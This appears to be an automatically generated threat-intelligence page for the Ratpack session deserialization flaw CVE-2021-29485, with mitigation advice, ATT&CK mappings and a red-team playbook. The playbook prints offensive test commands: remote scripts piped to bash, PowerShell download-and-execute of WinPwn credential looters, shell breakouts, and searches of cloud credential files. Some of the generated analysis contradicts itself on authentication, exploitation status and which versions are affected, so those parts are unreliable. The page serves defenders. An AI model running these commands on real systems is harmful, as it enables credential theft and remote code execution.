CVE-2021-29485

HIGH Pub 29/06 Upd 03/08

Overview

This vulnerability is a Java deserialization flaw in the Ratpack session store component, specifically affecting versions prior to 1.9.0. The root cause is the unsafe deserialization of untrusted data within the session mechanism, allowing crafted gadget chains to be executed. The affected feature is Ratpack's session serialization and deserialization process, which lacks strict input validation or allow-listing prior to version 1.9.0.

Vulnerability Description

Ratpack is a toolkit for creating web applications. In versions prior to 1.9.0, a malicious attacker can achieve Remote Code Execution (RCE) via a maliciously crafted Java deserialization gadget chain leveraged against the Ratpack session store. If one's application does not use Ratpack's session mechanism, it is not vulnerable. Ratpack 1.9.0 introduces a strict allow-list mechanism that mitigates this vulnerability when used. Two possible workarounds exist. The simplest mitigation for users of earlier versions is to reduce the likelihood of attackers being able to write to the session data store. Alternatively or additionally, the allow-list mechanism could be manually back ported by providing an alternative implementation of `SessionSerializer` that uses an allow-list.

Impact

An attacker with the ability to write to the Ratpack session data store can execute arbitrary code remotely on the affected system, leading to complete compromise of the application environment. This requires at least low-level privileges to influence session data (PR:L) and network access (AV:N), but no user interaction (UI:N). The vulnerability has a high impact on confidentiality, integrity, and availability (C:H/I:H/A:H) as per the CVSS vector, enabling unauthorized control over the application and potentially the hosting infrastructure.

Solution

Users should upgrade Ratpack to version 1.9.0 or later, which implements a strict allow-list mechanism in the SessionSerializer to prevent unsafe deserialization. For earlier versions, mitigation includes restricting write access to the session data store or manually backporting the allow-list by implementing a custom SessionSerializer. Detailed patch and mitigation instructions are available in the official advisory at https://github.com/ratpack/ratpack/security/advisories/GHSA-hc33-32vw-rpp9.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the Ratpack web application toolkit arises from its handling of Java object serialization, specifically within the session management component. In versions prior to 1.9.0, the framework does not adequately validate serialized objects before deserializing them, allowing an attacker to craft a malicious payload that exploits this weakness. By leveraging a specially designed gadget chain, an attacker can execute arbitrary code on the server, leading to Remote Code Execution (RCE). This flaw is particularly concerning because it can be triggered without requiring any authentication, making it accessible to unauthenticated users who can manipulate session data.

Exploitation of this vulnerability can occur through various attack vectors. An attacker could, for instance, send a crafted request to a vulnerable application that utilizes Ratpack’s session store. If the application processes this request without proper validation, the attacker’s payload could be executed on the server. Scenarios may include an attacker gaining control over the server environment, allowing them to deploy malware, exfiltrate sensitive data, or manipulate application behavior. Given the nature of web applications, where session management is often integral to user interactions, the potential for widespread exploitation is significant, especially in environments where security measures are lax.

The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Ratpack for their web applications. The ability to execute arbitrary code remotely can lead to data breaches, service disruptions, and significant reputational damage. Businesses may face regulatory penalties if sensitive customer data is compromised. Additionally, the financial implications of remediation efforts, including incident response, system recovery, and potential legal liabilities, can be substantial. The risk is compounded in sectors such as finance, healthcare, and e-commerce, where the integrity and confidentiality of data are paramount.

To detect and mitigate this vulnerability, organizations should first assess their use of Ratpack and determine whether they are running a version prior to 1.9.0. For those still on earlier versions, immediate steps should be taken to reduce the attack surface. This can include limiting write access to the session data store, thereby minimizing the potential for an attacker to inject malicious payloads. Furthermore, implementing a custom `SessionSerializer` that employs an allow-list mechanism can provide an additional layer of protection. Organizations should also consider upgrading to the latest version of Ratpack, which includes built-in mitigations against this type of attack.

In conclusion, the vulnerability in Ratpack highlights the critical importance of secure coding practices, particularly in the context of serialization and deserialization processes. As web applications increasingly rely on complex data structures and session management, developers must remain vigilant against potential exploitation vectors. By adopting robust security measures and keeping software up to date, organizations can significantly reduce their risk exposure and safeguard their applications against emerging threats.



CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2021-29485, with new telemetry indicating the initial appearance of exploitation attempts targeting vulnerable Ratpack session stores. Although the overall EPSS score has slightly decreased, suggesting a modest reduction in predicted exploit likelihood, the emergence of these detections signals active interest by threat actors in leveraging this deserialization vulnerability. This development matters because it confirms that adversaries are operationalizing the flaw despite mitigations in Ratpack 1.9.0 and available workarounds. Defenders should interpret this as an indication that unpatched or improperly configured environments remain at tangible risk of remote code execution attacks. While no new exploit variants or ransomware affiliations have been identified, the presence of exploitation attempts elevates the threat level from theoretical to practical, underscoring the need for continued vigilance in monitoring and response efforts.

Affected Products (1)

Vendor Product Version CPE
ratpack_project Ratpack Project Ratpack All cpe:2.3:a:ratpack_project:ratpack:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

1 events
2026-06-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Deserialization Vulnerabilities
100% deserialization
Remote Code Execution
84% rce
Session Fixation
51% session_fixation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-586 Object Injection
55%
Medium High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell) 
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD) 
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell) 
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell) 
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell) 
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash) 
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell) 
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash) 
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell) 
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell) 
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell) 
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell) 
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell) 
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell) 
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell) 
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell) 
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell) 
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell) 
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell) 
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell) 
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell) 
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell) 
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell) 
cat /etc/shells
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell) 
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD) 
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash) 
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-29485
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/ratpack/ratpack/security/advisories/GHSA-hc33-32vw-rpp9
mvnrepository.com
GitHub CVE x_refsource_MISC
https://mvnrepository.com/artifact/io.ratpack/ratpack-core